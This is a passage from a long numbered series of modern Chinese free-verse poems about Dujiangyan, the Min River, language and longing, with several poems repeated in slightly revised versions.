隐隐浮现。那时候，依然在夜晚，广阔 不需要言说，会碰见如同夜晚的橡树林 而造成了它们彼此融合的影子。在地面， 我行走，在空中我也可以通过嘴唇和鼻子 来呼吸。说出在像是偶然的掉落里面， 而有了说出之中的它自我的内容的色彩， 那不是黑的，则黑持之以恒于否定的事物 所体现的美。而美因此隐没，而发现因此 像桥梁的断裂。白天通行，商贩妇孺老幼。 夜晚天凉，我打了一个喷嚏，我在世界 这个词语和这个事实上面转身向下， 以转身这最后之方法而向下的一个人， 我提供出一个方法的时候，一个阻碍我的 解答，我想要提了出来，是否这是可能的呢。 点灯十1722 《点灯十》 黑夜来了， 多么的丰富， 来表示春天的早晨了。 一切就以突然而 多次的更改， 不变的你一次次 匆匆的，从刚刚离开的 院门口和屋门， 那坐热的椅子再往上 我知道就是一个 因为个体鲜活， 而朝代一般的笺约。 你听，你因此就再听的。 月亮还没有升上来， 随后月亮升了上来。 我会用一切事物的身边 来描述此刻。 回到了自己的， 热爱一个短暂如同你 红润脸庞的它们。 点灯十一1723 《点灯十一》 因为我想而作为了水， 我已经因此获得了，因此 我长年累月听着回声 看着你脸庞般的走近 会告诉你日月不久之后颠倒。 我想变成水在你的水里面， 有时候我也觉得人间美丽， 山下五彩缤纷，小房子冒烟， 晚上，不知道是不是可以 赶得回来的日子，我摸了摸 刚才那一句话，感觉还在。 点灯十二1724 《点灯十二》 再站远一点， 你就站成了自己灵魂的 你，离自己太远了的这含义 这近的不可解， 源自于你身体的扭动，躲避。 我悬疑的手儿， 我穿着衣裳，黑色的。 我把还未有的以就快要 完成了而历史性的描述。 这依然抵不过你这你我的 这历史的奥秘，自己正走向 听起来虚无，没真实感。 好地方一1725 《好地方一》 鸟爪子本来就紧，白鹤鸟 紧紧握如困难重重才克服后的 喜剧。 \/ 只是一张纸， 以尚且没有发生 而看着天色来置换。 只是男人来做， 而抬头却看见。 \/ 在众生， 我始终保守秘密， 一个或者更多， 多于一个就砰砰砰的开花。 \/ 语言复述它的时候， 我心儿冰凉啊，老表，哥们。 抬头，但愿意本身不值钱， 抬头看不见我的也看见你了 \/ 白鹤翩飞， 有人在远处抓到了大鱼。 岷江水一1726 《岷江水一》 白菜籽种地里面。 打水，施肥，气温升高 等几个月慢慢过去， 它们从地里面冒出来， 发青，长大，成熟。 再从地里，我们把它 连根带泥拔起来， 装在三轮车上，车钥匙 打着三轮车，一车车的 白菜运回自己家里。 岷江水一1727 《岷江水一》 白菜籽撒在地里面。 池塘打水，撒化肥。 等几个月慢慢过去， 它们从地里冒出来。 发青，长大，深秋来临。 地里，我们把它们 连根带泥拔起来。 车钥匙打着三轮车， 一车车的白菜 往自己家里面运。 岷江水三1728 《岷江水三》 谈论死亡就是谈论生活， 我周身正因此的颤抖般 当一切并非比喻，形容 我吃饭如此准确的 对你这句话的描述。 \/ 你要找远方的人 而不愿意听哭诉的人 远方就是远方和 一辆接一辆火车。 \/ 你我都一致同意， 否则日头就会太过于突然的 从日升三杆到日落西海。 你的语言在中间效果几何 或者就是一个颠倒， 这些自知的命运般， 你当做了一个问题。 \/ 你背过身去， 我就背过身去才能看到你。 你谈论世界悄无声息的傍晚 我就讨论傍晚里面是人儿的你。 你似乎遗忘了，问话语谁写 谁说。你的手握持着 身旁一片叶子啊， 它的生和死亡。 岷江水四1729 《岷江水四》 远水隔开的事情 是事物没有人烦忧。 更早的更早 像这样语言不能一直 永恒一般在我嘴里面旋转 （我感到疼） 包括了它随后突然戛然而止。 \/ 呼吸和睡梦同谋， 今夜，轻轻如诗 你如我躲得更深的爱人。 \/ 今夜，月亮升起在了异乡。 远处岷江水流淌，奔流， 不息的奔流。 岷江水四1730 岷江水四 《岷江水四》 远水隔开的事情 是事物没有人烦忧。 更早的更早 像这样语言不能一直 永恒一般在我嘴里面旋转 （我感到疼） 包括了它随后突然戛然而止。 \/ 呼吸和睡梦同谋， 今夜，轻轻如诗 你如我躲得更深的爱人。 \/ 今夜，月亮升起在异乡。 远处岷江水流淌，奔流， 不息。 岷江水六1731 《岷江水六》 相比或者不比， 阳光笔直。 那人走向他来时的 一样具体。 \/ 所以， 眼睛或者眉毛 以及其他。 \/ 投身，就朦胧了。 你，如此的丰满。 模样一般的词语。 飞蝇正在震动它的翅膀。 \/ 并不总见诸报端的是 寻常，或者不是。 或者是其他。 其中流水难查哪家， 窗外，梅花开着 空寂的感觉偶尔丛生。 岷江水七1732 《岷江水七》 相比或者不比， 阳光笔直。 那人走向他来时的 一样具体。 \/ 所以， 眼睛或者眉毛 以及其他。 \/ 只要投身就朦胧。 你，如此的丰满。 模样一般的词语。 飞蝇正在震动它的翅膀。 \/ 并不总见诸报端的是 寻常，因其不是。 其中流水难查哪家， 窗外，因此梅花开放。 岷江水八1733 《岷江水八》 多么坚决以至于美丽， 否则你会走向何处。 细小的词语胸脯般拉近了你我， 在两个相反方向上面，我们 也曾经如同星斗般两两相望。 \/ 否则你轻声的哭泣，内心隐忧 信纸上出现了没有写出的梅花。 美丽般的回忆，如果不能成真 \/ 凶多吉少如果不能成真。 围观者之中徘徊许久的 这参与之徒。日落西海， 滚滚人潮是乡下土黄色的 歪斜之句，他又随着众人离开了。 岷江水九1734 《岷江水九》 相比之中的否定， 词意正在攀爬。 \/ 星期五，阳光明媚 如宇宙风一般晃动。 \/ 昨夜，一个承诺 因实现了，破碎了 它那边界混乱着银色。 \/ 今天， 那里诞生了第一场春汛。 一支舟会允许返回去， 像人需要词语，我需要你一样。 岷江水九1735 岷江水九 《岷江水九》 相比之中的否定， 词意正在攀爬。 \/ 星期五，阳光明媚 如宇宙风一般晃动。 \/ 昨夜，一个承诺 因实现了，破碎了 它那边界混乱着银色。 \/ 今天，在同样的地方。 诞生了春天的第一场水汛。 一支舟楫，返回会发现 对于它的允许。 \/ 人需要词，我像那个 需要你的人。 岷江水十1736 岷江水 《岷江水十》 相比之中的否定， 词意正在攀爬。 \/ 这个星期五， 阳光。 宇宙风一般晃动着。 \/ 昨夜，一个承诺 因实现了，破碎了 它那边界还混乱着银色。 \/ 今天，在同样的地方 诞生了春天的第一场春汛。 一支舟楫，返回会发现 对于它的允许。 \/ 人需要词，我像那个 需要你的人。 水利工程一1737 《水利工程一》 相比或者不比， 阳光笔直。 那人走向他来时的 一样具体。 \/ 所以， 眼睛或者眉毛 以及其他。 \/ 只要投身就朦胧。 你如此丰满的望着 这并没有结束的时候 而以持续不断的意思。 它那内容来自于一种， \/ 踟蹰不决，犹犹豫豫。 而大于那人之一切的这一个， 犹如那让人的一切 慢慢的随着夜色而困惑一般 \/ 成为问题的。呵， 美丽是一个词，也是一个人。 这问题正进入了或许它原本的 永恒之地。 水利工程二1738 《水利工程二》 白天，我观察了都江堰。 流逝的这些尽头如夜。 悄无踪迹的夜隔着 与人有关的词语，并不都是 爱情，那些人烟也被否定。 夜晚，传统化作观察都江堰 的月亮。那是我的另一双眼睛， 我的避之不及向着梦的更深之处。 水利工程三1739 《水利工程三》 立窗前我能得到什么， 这是否能够以所得来追问，衡量。 与这些是话语的实质相平行的， 如同因此有了“它们”这一个称呼。 \/ 情愿。因此即有了生命，因此 是来自于，那曾经对于人的附属。 人世间的石头，草木和飞禽走兽。 而仅仅凭借了一个阳光般的瞬息， 当它们在于此，于人在窗前一般的 同样静止不动。回忆起了过往种种。 \/ 另一种情形里面，不情愿所意味的 爱情。不久后，我小心的走下小楼。 问一下行人。穷究本身这爱的形象， 几千年前的故事主人公避无可避。 而历史本身如同一种不断响了起来 的束缚，那些此时此刻每一个人的 存在，那在于其中而并没有的真正 沉默者。那些用来伪装的形象相反， 以沉默。互相照见对方的形象，有人 推舟，，下水，因走的仓促而太过于 短暂的美满，把一切的悲剧性寓意了。 水利工程四1740 《水利工程四》 拉开的窗帘， 暗示了一双手。 隔着世， 这些主角却因为话语， 不断躲闪，因此投身。 一种命运如沉睡般的形成。 \/ 早期有人病了， 就下山过来寻药。 回去的时候， 再次的渡河。 \/ 医生重复于我们说过的话， 像一盏灯，擦擦变的更亮。 我们的身体终究穿过了事情， 被自己收拾。并且在夜晚 因此寻找一个孤独的因果。 \/ 沉睡之舟， 在提到与否之间矛盾。 水利工程五1741 《水利工程五》 没有的火车和 因此一位旅客 他终于走到了月台。 气喘吁吁， 上气不接下气。 \/ 词和远难以结合的 结合时候的这一情形， 在内心上演的情况。 水利工程六1742 《水利工程六》 拿起了一个词的命运， 我便会返回。 这的不是，以与大自然 动植物都是否相仿的提问。 \/ 所以，夕阳西下 比我更有耐心的事物都垂落了。 一个对于其他，在等待 那里，像一个词语开始有了 意义:它之于其他，或者 在地上写字，等了很久。 \/ 一切都在推测着你， 你的消息远水解不了近渴。 你已经远远的渡河而去 但事情并不始终向着一个 终点一般的结束。 \/ 所以，眼前把一切 以都可以的方式提供了出来， 这样夕阳和傍晚我看了又看， 清醒，陷入迷蒙。无心欣赏 轮回也在于草木上的， 它那不需要因而我才是 人类的轮回，循环。 水利工程七1743 《水利工程七》 野山鸡要去哪？ ——我从未被关心的语言 同样消散，不见了。 无人关心般的语言， 正试图以询问野鸡的方式抗z着。 \/ 我只是上一个我的 陪衬，边角料而已。 我是，那尚且没有 被上一个我所指出物。 \/ 野山鸡， 不落荒草丛和灌木丛。 落入魂灵———— 这一未完成者是我的罹难 我在田埂边缘休息， 等待的那个， 以迟迟不归而叫做思绪时 一只野山鸡，滑目而过。 水利工程八1744 《水利工程八》 词语 石头或者最终选择了 骨头的打了我一下。 \/ 这并非没有丰富性， 以这并非没有所同样， 丰富性的具有。 像它来而成为了你， 却显得很慢，那条路 我们总会要谈到， 就在脚下。 \/ 所以你是在我回忆的时候， 不经意之间打了我一下。 我回头看你的时候， 你已经离开了。 \/ 你离开而去建一座 别人居住的房子。 建一座风雪夜归人的房子 给予我敲门，问候 和把这一场再次的彻夜长谈吧 都江堰一1745 《都江堰一》 我从你令行禁止的语言里面 把那水取了出来 太守一1746 《太守一》 词语 石头或者最终选择了 骨头的打了我一下。 \/ 这并非没有丰富性， 以这并非没有所同样， 丰富性的具有。 像它来而成为了你， 却显得很慢，那条路 我们总会要谈到， 就在脚下。 \/ 所以你是在我回忆的时候， 不经意之间打了我一下。 我回头看你的时候， 你已经离开了。 \/ 你离开而去建一座 别人居住的房子。 建一座风雪夜归人的房子 给予了我敲门，问候 彻夜长谈而它以寂静。 太守二1747 《太守二》 其而以它， 直到成为日子了。 \/ 成为一个与你我有关的 日子，有关方式的这种 无所增和减。 \/ 于是，一个词 拥有了幻象一般的影子 就呆在我搭眼看见，地方的不远。 \/ 对于这以人在于此刻 而所做反转的试图， 最后的怜悯像是以人的侥幸 和满怀希望而来。 并且激荡起来了 命运的碎片。 \/ 影子让树宇宙般的无辜， 立在这承受无边沉默的后果处。 太守三1748 《太守三》 在可以拆成两件事物 里面的手q。因不可而再于持续 甚至都不是了那另外的一件。 它的本身，它的重要性难道 转变了吗？或者以没有而持续。 人作为观者以我观这些冷漠的外表。 我已经顺利或否，穿过了 大马路，人行道，过院门 穿长廊。水如镜因下午的 看和词语而转瞬消失。 我已经参与，也接着进入这已经。 我的问题始终是宇宙般 对于自我的向着以外的保持着。 \/ 假山的未知里面藏着， 这些被称作古老和沧桑的事物。 只需要蒙上尘土，完美的微风。 或者远离开来了人类， 时间的流逝谁又能够 不以缅怀和叹息而忽略呢。 \/ 这样，问题就遮掩了问题， 遮掩的问题，才是主要的 这仅仅是第三个而在于了 人类的问题的嘴唇和口腔。 \/ 问题的源泉也与吃喝拉撒， 有关。在傍晚进餐的时候 被忽视，听到了声色犬马。 \/ 手x以物的历史，它那逻辑 和因果，以及时常因此被谈论 如今花香酒色里面脸庞冷峻， 忽然坠水的人全身冷冰冰， 他曾经欢声笑语，饮酒作乐。 使得了那，以过去和刺x拉开来 距离，而成为了可能性的人。 太守四1748 《太守四》 其而以它， 成为这样的日子之时。 \/ 这种需要语言来诉说 和描述的，如同一个起点。 \/ 或者像那些因为固定，颤抖， 作为一个物，在自己之内 循环往复的自己。 \/ 所以，游客爱美 而美顺着江水，五彩缤纷。 所以对于大自然和大地的哲理， 我选择了迷茫。 \/ 而每每太过于随意以致于才是了 也是以一撇而诉说着，世界本质着 和它那远离于人的本质。 \/ 我想要江水般，绿叶般的 再次想去把自己给挽了回来， ——以这种方式，我深入其中。 太守五1749 《太守五》 其而以它， 成为这样的日子的时候。 \/ 这种需要语言来诉说， 描述的，如同一个起点。 \/ 或者像那些因为固定并且震颤， 作为一个物，在自己之内 循环往复的它自己。 \/ 所以，游客爱美 而美顺着江水，五彩缤纷。 所以对于大自然和大地的哲理， 我选择了懵懂无知。 \/ 而每每太过于随意以致于才是了， 也是以一撇而诉说着。世界本质着， 和接着它那远离于人类的本质。 \/ 我想要江水般，绿叶般的， 再次想去把自己给挽了回来。 这时。那远离于人而以它的方式， 我遇到了那人，我只是一个游客。 太守六1750 《太守六》 大地的这里，那里 包括着所附带的繁多在内。 仿佛一切都在一条转折的 河流之后，经由你来了。 无论落下来的是雪， 接着因为人们的迟疑， 那些词语从雪花中的内部。 而封闭自身的源泉，这起初 并无关系的二者，这大地 单一的它黄昏，傍晚的时候。 推窗，推门的人因妇孺而衰老 岁月天长地久往往是将青春指向， 从古至今，有一些东西没有改变 从前的那座高山，秦始皇的炼丹人 来过，如今我看到了烟灰，人迹罕至。 太守七1751 《太守七》 我的空无一物于其上面的。 身体，随后接着的参与， 我等待着那其他的事情。 \/ 现在，我不知道到底是那一个， 当这种更加的不合适是否已经 暗示了问题，如同产生在于 引诱，绚烂，呵，黑眼睛， 身边的电线杆，初春的风 呼呼的吹过面前的大马路。 \/ 我是说的困境并不在于 难以言说里面，并且承认于 人类德性的劣根性:那些 无法言说我也承认。 瞧，街对面的面包店， 南方的苏州城市， 少妇带来了我渴望的糕点。 \/ 指针，只表达时间， 完整性对人不冷不热。 你我使用同样的词语， 慢慢向相同的趋向性， 才可以为走走停停留出余地。 太守八1752 《太守八》 时间岁月流逝，仿佛 前方山脚的河拉开了 比喻的距离。也好， 与它我也无关的。 \/ 世界不关心草木于 那，不关心无关式的关系。 \/ 等多年以后，我们回过头来查看。 这就是此时此刻语言虚像的更加具体了 :以寻找找此时此刻行为和动作的口吻。 \/ 风用那凉亲吻我， 它亲吻的是我的所不及。 面前的风我想要成为， 脑海里面接着浮想联翩。 太守九1753 《太守九》 抚弄，是这些不可被祛除者， 有一个叫做具体的去处了。 去处如归，你一面说 对你的猜测和关心， 只能到你书写的时刻停止。 而我的周围并无哲理般 伟大，神秘的异常。 我是个沉默的人，爱 爱说话的人。字写纸上了， 一切都明明已经安排的很好， 我自己穿的暖，吃得饱 地里面种着自己拿来做饭的。 心有疑问的微风， 天上有共此时的月， 我们想要谈论一些事情 词语放在肚子里面生锈了。 太守十1754 《太守十》 我等待着的，不是别人。 是别人因为我等待时的 沉默，不禁的询问和说出。 \/ 已经陷入了其中， 所有的无力表达， 装饰命运这个房间的材料。 \/ 我衰竭于生生不息， 我也曾向你一撇一般。 而彼此怜悯般的馈赠。 在这个近乎于毫无作用的 世界当中。考古学和 社会学的谱系，伸向了祖先 为那一无所获作为起点， 为出发而赞美，为虚无而美 如镜子照着这生命的鲜活时。 太守十一1755 《太守十一》 有哪些差异了。我能做的事情是沉默， 沉默的犹如把语言推辞掉。明暗交错 往往可以以后来者的身份将世界概括。 也是，我不得不委身其中。逐渐去学会 平静的态度把内心情绪隐藏，我知道 我需要说的，往往与真正想说的不同。 甚至相反，我知道明明没有的地方， 却布满行人和旅客。对于幽静地带的 讨论，这样话语的形式让人更难脱身。 看引起的，叫做迷失的这样一种自我。 但幽僻的极端的它的那选择的形式， 在还没有落定的时候，其实一切依然 是平常的。即使没有这一件事，有其他人 登山，疲惫，休息。 太守十二1756 《太守十二》 周身都在哗哗直响， 就像一个物已经得到的获取。 这种形式言说上面的隐秘， 像我以自己所做，渴望于 无外乎类似比方的标尺与范围。 而那些个在于之外，是否如同 我听人讲远，目光这个，使得了 没有它们的身影成为远去的条件。 而投身于这种可能性也与我息息相关 与我的平庸，平凡与紧张。为我所可以 平静，把话说完，如没有聆听者的谎言 经由了你此时此刻春天般说出的嘴唇呢。 太守十三1757 《太守十三》 周身都在哗哗直响， 同时于我对它们， 对思索的一无所获思索。 所以语气坚决的在不是我上面存在 而山谷无人，引诱人的 大理石台阶，不过是缺少了语言的 弯曲。你说出了向上，就会说的很远， 说的于那说自身的多上面 于是，即使你跑得远了 你以为这躲避的掩饰才是主要论题。 而与你内心的神秘不可解释 那种恒久性于生命和人的岁月 也无法将一个陈述句式的回答给出。 所以，你逃的更加的具体 是一个楼宇里面，夜晚亮着灯的房间。 你逃跑，就围绕着那个梦里面 通往了现实之中的大理石山路上的 ——“路的在于行走”。 我只能够在足够的疲倦里面， 并且朝向那里，如同一种信念。 并且这坚定的信念仅仅，只是 为真必然的部分。前或者后。 像什么，就让它真的像 枝叶打破春天的雾气，天气 通过了文字般的天气预报的晴朗了。 太守十四1758 《太守十四》 这些水，这些打开灯盏的水， 这些水退不回去的水，已经到了 称作这里的那里了？ \/ 这已经是了我说的话 我的怀疑被夜晚挂了起来 像黑暗中的灯笼 \/ 这些平等的事物， 高低起伏， 而我避开了流淌和蜿蜒 土壤的粗糙与丘陵隆起。 它也摸到了我这个人 以没有和远离的方式， 以此它自己才是那一静止的一个 还有众多————为我所提供的 丰富性，在我放下了心中的念头， 推门走出去的时候。 太守十五1759 《太守十五》 不是什么是戏曲化， 而是戏曲化在问我们。 而且作为一件最为的普通 而成为了事情，仿佛它必然 因为我看而无所指向，内容于 无上，我或早或晚而因此， 戏曲化般的是什么，这反复的回声吗？ 鱼嘴一1760 《鱼嘴一》 我离开那些事物， 但我不是很了解。 于是，我尽量离开很多东西 我离不开那些身体疲惫时 所遇见的。 我是否相信， 离开才可以谈论 甚至就是了谈论的某一部分， 在他的犹豫和怀疑当中， 便极有可能向成为文字的一部分滑脱。 那么，两两来说， 语言中危险性的写作 虽然说避开了很多古已有之的麻烦。 而新于批注和扉页，它们也不是。 那么，它们是云团，是三峡和夔门。 在它们于我所需要上， 无形的线条不再被等待 是了，就像夔门暗流涌动但表面 平静的江水。更准确而言， 是江面上巨大轮渡里面 自称和孤勇者通过自夸的相互客气呢。 任何的事物都是这样子的， 我们需要他者，但他者仍在 密密麻麻的人海当中。 你万不可想当然， 梦一般的做一个幻想。 那幻想的内容，山巅太高于人迹罕至。 不信你瞧吧，你看吧， 来者于迟，而迟于几千年的语言 才如此美轮美奂，游移不定的伤害了 你的热情，挽救了你现代性的古代之身。 而我现在， 依然因为与你的毫无关系， 那空白着的毫无瓜葛让我 坐在咖啡馆里面。听着 那些我保持一段距离而话语的 谈论于消失上的本质。 而最后仅仅能自我的馈赠 在语言上面闪光 :几千年的一场秋风， 终于在这个北方的初春， 慢慢的停下来了。 鱼嘴二1761 《鱼嘴二》 这变化中不变的 这变化容易因此， 它那名称被忽视了， 我尽力的想要想起来， 这一切，因此仿佛还没有完成。 \/ 但大地总是， 习惯性的在歧路上面。 它揭开因此才有了平复， 不知道它那平常如伤疤的脸 因此可以在言说之中， 有着了永恒的色彩呢。 \/ 一个在罹难的人 遇见了他自己。 我所站立， 是否就是有了新的名称的意思。 \/ 而因此， 我渴望的总以不是而是， 因而它那有了新名称的被渴望之物。 形同我矗立，和紧接着不是 语言中的并非，我指向的当下 也因此没有来得及说出啦。 \/ 我无法留给春光与美色太多， 像残缺的句子，在自然中溶解。 鱼嘴三1762 《鱼嘴三》 有很多而多余于山——山的幻影 但如果人一旦失约般，走的更近。 这才是伴随着为称作自我所忽视的主角 :而那人从这面镜子的湖水中， 破碎了语言的孤零零向着外面。 \/ 世界正在离不开这座， 城市上面的，为人推敲着。 像如今值得重视的那些空壳中， 声音对敲鼓以声音所做的标记。 \/ 远山如黛。 如黛的眉目却因自身的脆弱， 每每以相向的方式表达出来。 她在湖水边问为什么， 问挪移到不远处的楼阁是什么。 就像星辉高远，被当做一个同样的词。 鱼嘴四1763 《鱼嘴四》 走进杭州， 这样的语言被表达。 形同于进入本身 就已经把什么给预示出来。 所以，我在另外的一条路上。 那是一条路，称作称赞，聆听 也可以去称赞你，拍手鼓掌。 而你的抚慰将获得了 更多来自于我却属于是你的语言。 仅仅，是前与后 就像你月上柳梢头，人约黄昏后 一般的。而杭州已经因此 抚慰了它跋涉路途上面 时间化了的语言。 所以，所有的极其悲伤，伤感的 语言的全部，即便都是错误的 它那坍塌也不过如此 而你依然可以陈述和表达， 事实上多半是因为我， 你已经在了人文朱一关怀的 世界当中。————“有人”， 是的了，你重复了我的话语 你进而发现了，里面 我重复于你话语的本质。 呵，殊途同归，远山近水 杭州正一步步危险性的逼近 你的幸福感。而我已经 因此远去，世界性的一切， 你我都已经谈论， 一棵老槐树，也因此 将很多很多年的存活着。 我也去杭州了， 一个地理上面的事物， 湖水的底下，泥沙，淤泥 莲藕的根茎，鱼群和你我。 鱼嘴五1764 《鱼嘴五》 多次的提问， 多么的不竭后面的喜悦。 而且你也改变了它们， 事物结果的提法最为的极端。 \/ 甚至涉及到了以 空，这周围空荡荡的 指向了如同勾引般的他人。 \/ 而他人以指向这空，这虚无。 或早或晚，真的，仿佛相同的 结果，殊途同归。语言虚假的本质。 \/ 这人幸福在短暂里面 而颠覆了幸福短暂的语句。 并且更多，永恒由它们而来。 \/ 如果这不可说才是可说的， 像一个人孤身而成为了 他的爱人。 鱼嘴六1765 《鱼嘴六》 手指了指， 空的地方的 那种指。 \/ 同样不可知的， 如果你足够的勇敢， 土话说，不要脸了。 \/ 就是那一些曾经 抚弄你，伤害你的东西。 作为了经过了你之后 东西的渐渐的远去。 \/ 因为你说话了吧， 接着你的话语继续， 以提问向他的方式。 \/ 它们是，田野中的风 苏州城里的水面反光， 运煤船和乌篷船， 一个夜晚，和这里的一个 帐篷一般的铆钉。 鱼嘴七1766 《鱼嘴七》 手指了指， 空的地方的 那种指。 \/ 同样不可知的， 如果你足够的勇敢， 土话说，不要脸了。 \/ 就是那一些曾经 抚弄你，伤害你的东西。 作为了经过你之后 东西的渐渐远去。 \/ 因为你说话了吧。 接着你的话语继续， 以提问向他的方式。 \/ 结果闪着光芒。 但总不会的，回到了 它们声音般的自己。 让我知道了你是新的人的， \/ 田野中的风 苏州城里的水面反光， 运煤船和乌篷船， 一个夜晚，这里的一颗 为帐篷固定而打下的钉子。 \/ 还没有结束，你的嘴唇 也会因湿润而干燥。 湿润如我的顽固。 鱼嘴八1767 《鱼嘴八》 我听见了。坚定的听见 就是水细分为返回的碎片。 这里，它旅途的边界 它也曾经跨过一个又 一个了。就仿佛是被认定为， 一切都是相同的事物， 面对着它，或它因为我 而被面对着。我面对着 前行之路，破旧的房子， 为没有发现的一切所于 物上面，它们为这种不可能 在不断的尝试。说出者 是没有这种烦恼的，但是 他也会被其他称之为烦恼的 所占据，我就像这个过程， 原因于尚且没有发生和 现实的论据，并且我多么的 鲜活在某一种声音般的缥缈。 鱼嘴九1768 《鱼嘴九》 往前更加一步的，迈出。 这无物于我在自己的身上， 这自我就是的风景才是了 语言。世界性，日升日落， 月亮同样如此。像天空中有 无形的轨迹，遗留固定不变的 线条。这时候我已经因为走进 而需要走出了，初春的都江堰 江水流淌，不远处的小城有着 同样的名字，与江水共享同一片 道理的城市，水面的不远处 山顶上修建了楼阁。 鱼嘴十1769 《鱼嘴十》 鸟儿不会垒于复杂而窝， 动态之美，凉水一般。 江边人与鸟，以春天 和春天里的柳芽作为了 一个温柔但开始了所向着 以过度的支点了。所以， 我可以去因为别人而讨论 而谈论随后我发现谈的 正是他们。鸟群归巢， 沿着这样的语言，人 睡在漏雨里面，江水流淌， 下游水势变得更宽阔一些。 分流一1770 《分流一》 鸟儿不会垒于复杂而窝， 动态之美，江水般的深。 江边人与鸟，以春天 和春天里的柳芽作为了 一个温柔但所向着已经 以过度而开始的支点。 所以，我可以去因为别人而 来的谈论，把沉默打开了。 谈论随后发现谈的 正是他们，他们正在搜寻 一个叫做了“我”的东西。 正是从那里，我走了出来。 步子很轻，穿着厚棉鞋， 天气还有一点点寒冷， 刚刚睡醒的人，把世界的 早与晚颠倒了。下游的 更宽阔的水域不会逆流而上， 都江堰就在岷江的边上， 这座城市依水而建。 分流二1771 《分流二》 以面前的窗台而来， 但并不是朝向着， 不是本身的没有和不存在了 在光线一般的隐秘之外， 仿佛我弄不清楚了， 整个的人重新驾着马车， 回返也会遇到了敞开的梦境。 我脑海里面文字闪耀， 更像是在脑海， 这个波浪起伏海上， 独木舟对于此的奇异描述。 当颠沛流离是必然的， 但是以此刻短暂一瞬的预言体， 并且更是了以所在以消失， 语言上面的不见说着同样的东西。 我能做什么呢， 我能做一个高于一切的提问，发问 为没有而有了的一个， 后果和人的，自我而来的相关性。 而在了事物之外——这是我 的一开始，这是说因此的 迟迟缓缓，远处的青城山 有可能布满了线索般的错误。 分流三1772 《分流三》 以面前的窗台而来， 但并不是朝向着， 不是本身的没有和不存在了 在光线一般的隐秘之外， 仿佛我弄不清楚了，现实 渴求着我的难以说出。 这个叫做我的整个的人 重新驾起马车，回返， 也会遇到的是，敞开的梦境 这同一而事物的守旧。 \/ 我脑海里正文字般闪耀， 更像是脑海，这个 波浪起伏海平面上，一艘 独木舟对于此奇异的描述。 当颠沛流离，已经是必然和 事实的已经是了必然与事实了。 \/ 但是以此刻短暂一瞬的预言体， 并且更是以了，所在以消失， 语言上面的说着同样东西的，“不见”。 我能做什么呢，我能做一个 高于一切的提问和发问。 为没有而有了的那个，后果 和人因自我而来的相关性。 \/ 而在了事物之外——起初这是 我想的，表达还没做出，推迟。 因此的迟缓，远处的青城山 有可能布满了线索般的错误。 分流四1773 《分流四》 喜悦像被孤立起来的事物， 在这一未完成以完成上面。 甚至原因都不是有必要的 就好像青草，荒滩包括了 土壤，碎石头和灌木丛。生长 从远好于现实的呼唤而来， 与风声运行的轨迹相同。太阳 在早晨升起，云雾遮挡起来。 我一会感到了很冷，觉得衣服 单薄，太阳从云层中重新出现， 温度快速爬升。 分流五1774 《分流五》 我相对于自己的身影， 这个更多而于影子 在身影上面的具体。 如果离开于我，为它那易碎 目的地，目标以及改变， 从它的那原本的不易破碎上面。 \/ 是否平凡的语言， 在终点便开始将起点和 出发，当它那变得形象起来， 那意味是否会变得更加的丰盈呢。 \/ 傍晚如一个美丽的问题， 没有什么比这更加真实。 我曾在知的更难再走近上面， 像傍晚的事物被分割成 一个个个体，楼宇的混凝土结构 却是冷冰冰的巨大建筑。 \/ 我应该如何的提起它 就是在这个时刻它已经变得伟大。 在平衡术的这一端和另一端， 沉默的存在，同样当它也在打破中 保持着，仿佛有一个没有走向人的 失约者，人或者我可以从那里离开， 我自身的q利其实少之又少。 分流六1775 《分流六》 宇宙像一把钥匙， 群星璀璨， 月亮像一艘小船。 我像呼吸的鱼， 月亮上坐着打捞的人。 分流七1776 《分流七》 更有也是一种可能性， 甚至于因此指向了一个 需要原因而它急切的 于需要被填补和充实上面的 一个过去向未来，结果般的猜测。 而这个人，可以站在自我面前 尽管他轻轻的晃动， 经不起推敲，谈论的因此是道德。 青草与田野和他， 如果这一股无形的力量， 带着抚平和和解的味道 那些我们所难以理解的， 反而在于恰恰认识到上面。 也在于其他，其他 便如同了认识肤浅的不足为虑。 我看到年轻的人们避开人群， 青草随着风声，河流有白色的浪花。 因为我的刚刚想起来而结束了的 一切，可以结束了的一切就是 我的意思了。 第1777章 分流八 《分流八》 “更有”，这种也是一种可能性的事， 至少我的唇将吐露它的所获得。 在这个湿润的同一里面，即使 因为无法被磨灭的口腔，仿佛 那些文字，口吻，无关组成了 另外的无关。大家的同在，但现实 里面的一面镜子。我看见了你， 正如同你在我面前。你身后的东西， 对于你我都以遥不可及而同样。 \/ 我们语言的云雀，一次次的做着 打破天空的尝试。而身居于现实， 它以它对于人的不可知和可知， 以及农田里面的农民。 \/ 陡然生出来的并不总叫做爱意， 因此正是那，它们的被打破。 那时候它们还没有一个名字， 可以将世界都表示和代b， 初生于迟暮，而带着常新的 那投向世界大地，河流与世间的 迥异的色彩。为不同于思的朝霞 从山巅升了起来。 分流九1778 分流六 《分流九》 宇宙像一把钥匙的时候， 内部的人被一分为二。 内部的贪婪无法外出， 但敲击般的声音仿佛 并不来自内部，语言 因此失效了。我知道了， 人们被语言惩戒着， 言说着，被敲打而躯壳般 的价值。但他们初心不改， 被转动的声音吸引了过来。 房子建在一条坦途尽头的 小山坡上面。 分流十1779 《分流十》 生机常在。我也知道你喜爱等待的眼神， 在我低下头的时候像一束光线投了过来。 你将会做你将会做的。并且等待着如同 云和雾气，可以为语言中对话般的问询， 提供出来了天空一般的位置。所以，如果我 内心有一颗孤独的灵魂，那么幸福所需要的 拐弯抹角，就等同于我已经收获，并在春天的 田野来来回回。那些田埂，梯田，水渠和水库。 都会涉及到了，通过了我而有关于你的远古之梦， 正重复着而在于言说的它，那瞧不见的问询当中 向着因为问询而自我回答般的转变。我疲惫，困倦 失眠，生机常在，如同一声断喝，而全部的温柔 也仍旧，需要在现实里面以你细长的眉作为了圆心。那是什么，人就像第一支问询。 分流十一1780 《分流十一》 太过简单于 在我的不能而不是 无法回答的幸福上面。 这个本质一路向下， 因此，同样也途径了语言。 沉默正被整个世界覆盖， 语言这样到达了底部。 我们谁都没有为喜悦，分出 给“前进”这个重要的事物。 在那种严苛的环境里面， 谈论的除了肉体还是肉体， 它在新的时代转向了欲望， 缅怀我们的尘土，我们缅怀什么？ 分流十二1781 《分流十二》 太过简单于， 在我的不能而不是 无法回答的幸福上面。 这个本质一路向下， \/ 因此，同样也途径 语言的表述和言说。 被空置起来了的， 语言始终作为同一个。 像眼前山坡上的的事物 从衰败，凋零再到重新复苏。 \/ 是否那仍旧为同一个问题劝慰， 以不同的形式和内容。就像 我因此走进去，如果我因不接受 